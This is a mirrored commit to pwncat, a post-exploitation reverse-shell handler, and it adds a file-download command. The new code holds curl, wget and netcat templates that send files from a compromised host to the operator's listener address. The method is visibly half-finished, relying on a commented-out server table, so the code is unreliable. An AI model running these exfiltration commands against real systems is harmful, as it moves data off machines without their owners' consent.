1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added lport to upload command formatting. Fixed stdout buffering issues.

This commit is contained in:
Caleb Stewart 2020-05-06 23:13:21 -04:00
parent 1c6bd80484
commit fd318b788a
2 changed files with 126 additions and 1 deletions

View File

@ -184,6 +184,118 @@ class PtyHandler:
""" Exit command mode """ """ Exit command mode """
self.enter_raw(save=False) self.enter_raw(save=False)
def do_download(self, argv):
uploaders = {
"curl": (
"http",
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
),
"wget": (
"http",
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
),
"nc": ("raw", "nc {lhost} {lport} < {outfile}"),
}
# servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
parser = argparse.ArgumentParser(prog="upload")
parser.add_argument(
"--method",
"-m",
choices=uploaders.keys(),
default=None,
help="set the download method (default: auto)",
)
parser.add_argument(
"--output",
"-o",
default="./{basename}",
help="path to the output file (default: basename of input)",
)
parser.add_argument("path", help="path to the file to upload")
try:
args = parser.parse_args(argv)
except SystemExit:
# The arguments were parsed incorrectly, return.
return
if self.vars.get("lhost", None) is None:
util.error("[!] you must provide an lhost address for reverse connections!")
return
if args.method is not None and args.method not in self.known_binaries:
util.error(f"{args.method}: method unavailable")
elif args.method is not None:
method = uploaders[args.method]
else:
method = None
for m, info in uploaders.items():
if m in self.known_binaries:
util.info("uploading via {m}")
method = info
break
else:
util.warn(
"no available upload methods. falling back to dd/base64 method"
)
path = args.path
basename = os.path.basename(args.path)
name = basename
outfile = args.output.format(basename=basename)
# Get the remote file size
size = self.run(f'wc -c {shlex.quote(path)} 2>/dev/null || echo "none"')
if "none" in size:
util.error(f"{path}: no such file or directory")
with ProgressBar("downloading") as pb:
counter = pb(range(os.path.getsize(path)))
last_update = time.time()
def on_progress(copied, blocksz):
""" Update the progress bar """
counter.items_completed += blocksz
if counter.items_completed >= counter.total:
counter.done = True
counter.stopped = True
if (time.time() - last_update) > 0.1:
pb.invalidate()
if method is not None:
server = servers[method[0]](path, name, progress=on_progress)
command = method[1].format(
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
)
result = self.run(command, wait=False)
else:
server = None
with open(path, "rb") as fp:
self.run(f"echo -n > {outfile}")
copied = 0
for chunk in iter(lambda: fp.read(8192), b""):
encoded = base64.b64encode(chunk).decode("utf-8")
self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
copied += len(chunk)
on_progress(copied, len(chunk))
try:
while not counter.done:
time.sleep(0.1)
except KeyboardInterrupt:
pass
finally:
if server is not None:
server.shutdown()
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
time.sleep(0.1)
def do_upload(self, argv): def do_upload(self, argv):
""" Upload a file to the remote host """ """ Upload a file to the remote host """
@ -263,7 +375,10 @@ class PtyHandler:
server = servers[method[0]](path, name, progress=on_progress) server = servers[method[0]](path, name, progress=on_progress)
command = method[1].format( command = method[1].format(
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name, outfile=shlex.quote(outfile),
lhost=self.vars["lhost"],
lfile=name,
lport=server.server_address[1],
) )
result = self.run(command, wait=False) result = self.run(command, wait=False)

View File

@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler from socketserver import TCPServer, BaseRequestHandler
from functools import partial from functools import partial
from colorama import Fore from colorama import Fore
from io import TextIOWrapper
import threading import threading
import logging import logging
import termios import termios
@ -93,6 +94,15 @@ def enter_raw_mode():
# Ensure we don't have any weird buffering issues # Ensure we don't have any weird buffering issues
sys.stdout.flush() sys.stdout.flush()
# Python doesn't provide a way to use setvbuf, so we reopen stdout
# and specify no buffering
old_stdout = sys.stdout
sys.stdout = TextIOWrapper(
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
write_through=True,
line_buffering=False,
)
# Grab and duplicate current attributes # Grab and duplicate current attributes
fild = sys.stdin.fileno() fild = sys.stdin.fileno()
old = termios.tcgetattr(fild) old = termios.tcgetattr(fild)